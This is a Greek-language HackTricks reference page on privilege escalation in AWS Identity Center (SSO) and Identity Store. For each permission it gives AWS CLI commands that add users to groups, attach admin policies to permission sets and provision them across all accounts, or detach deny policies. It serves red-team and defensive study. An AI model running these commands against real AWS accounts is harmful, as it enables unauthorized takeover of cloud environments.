AWS - SSO & identitystore Privesc

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Κέντρο Ταυτότητας AWS / AWS SSO

Για περισσότερες πληροφορίες σχετικά με το Κέντρο Ταυτότητας AWS / AWS SSO, ελέγξτε:

pageAWS - IAM, Identity Center & SSO Enum

Σημειώστε ότι από προεπιλογή, μόνο οι χρήστες με δικαιώματα από τον Λογαριασμό Διαχείρισης θα μπορούν να έχουν πρόσβαση και να ελέγχουν το Κέντρο Ταυτότητας IAM. Οι χρήστες από άλλους λογαριασμούς μπορούν να το επιτρέψουν μόνο εάν ο λογαριασμός είναι Αναθέτημένος Διαχειριστής. Ελέγξτε την τεκμηρίωση για περισσότερες πληροφορίες.

Επαναφορά Κωδικού Πρόσβασης

Ένας εύκολος τρόπος να αναβαθμίσετε τα προνόμια σε περιπτώσεις όπως αυτή θα ήταν να έχετε άδεια που επιτρέπει την επαναφορά των κωδικών πρόσβασης των χρηστών. Δυστυχώς, είναι δυνατό μόνο να στείλετε ένα email στον χρήστη για να επαναφέρει τον κωδικό του, οπότε θα χρειαστεί να έχετε πρόσβαση στο email του χρήστη.

identitystore:CreateGroupMembership

Με αυτήν την άδεια είναι δυνατό να ορίσετε έναν χρήστη μέσα σε μια ομάδα, έτσι ώστε να κληρονομεί όλα τα προνόμια που έχει η ομάδα.

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει χορηγηθεί σε έναν χρήστη υπό τον έλεγχό του.

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει χορηγηθεί σε έναν χρήστη υπό τον έλεγχό του.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να χορηγήσει επιπλέον δικαιώματα σε ένα Permission Set που έχει χορηγηθεί σε έναν χρήστη υπό τον έλεγχό του.

Για να καταχραστείτε αυτές τις άδειες σε αυτήν την περίπτωση, πρέπει να γνωρίζετε το όνομα μιας πολιτικής που διαχειρίζεται ο πελάτης και βρίσκεται σε ΟΛΟΥΣ τους λογαριασμούς που θα επηρεαστούν.

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να δώσει ένα Permission Set σε έναν χρήστη υπό τον έλεγχό του σε έναν λογαριασμό.

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

sso:GetRoleCredentials

Επιστρέφει τα προσωρινά διαπιστευτήρια STS για ένα συγκεκριμένο όνομα ρόλου που έχει ανατεθεί στον χρήστη.

aws sso get-role-credentials --role-name <value> --account-id <value> --access-token <value>

Ωστόσο, χρειάζεστε ένα access token το οποίο δεν είμαι σίγουρος πώς να το αποκτήσετε (TODO).

sso:DetachManagedPolicyFromPermissionSet

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να αφαιρέσει τη συσχέτιση μεταξύ ενός διαχειριζόμενου πολιτικής της AWS από το συγκεκριμένο σύνολο δικαιωμάτων. Είναι δυνατόν να χορηγηθούν περισσότερα προνόμια μέσω αποσύνδεσης μιας διαχειριζόμενης πολιτικής (απόρριψη πολιτικής).

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να αφαιρέσει τη συσχέτιση μεταξύ μιας πολιτικής που διαχειρίζεται ο πελάτης από το συγκεκριμένο σύνολο δικαιωμάτων. Είναι δυνατόν να χορηγηθούν περισσότερα προνόμια μέσω αποσύνδεσης μιας διαχειριζόμενης πολιτικής (απόρριψη πολιτικής).

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>
Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated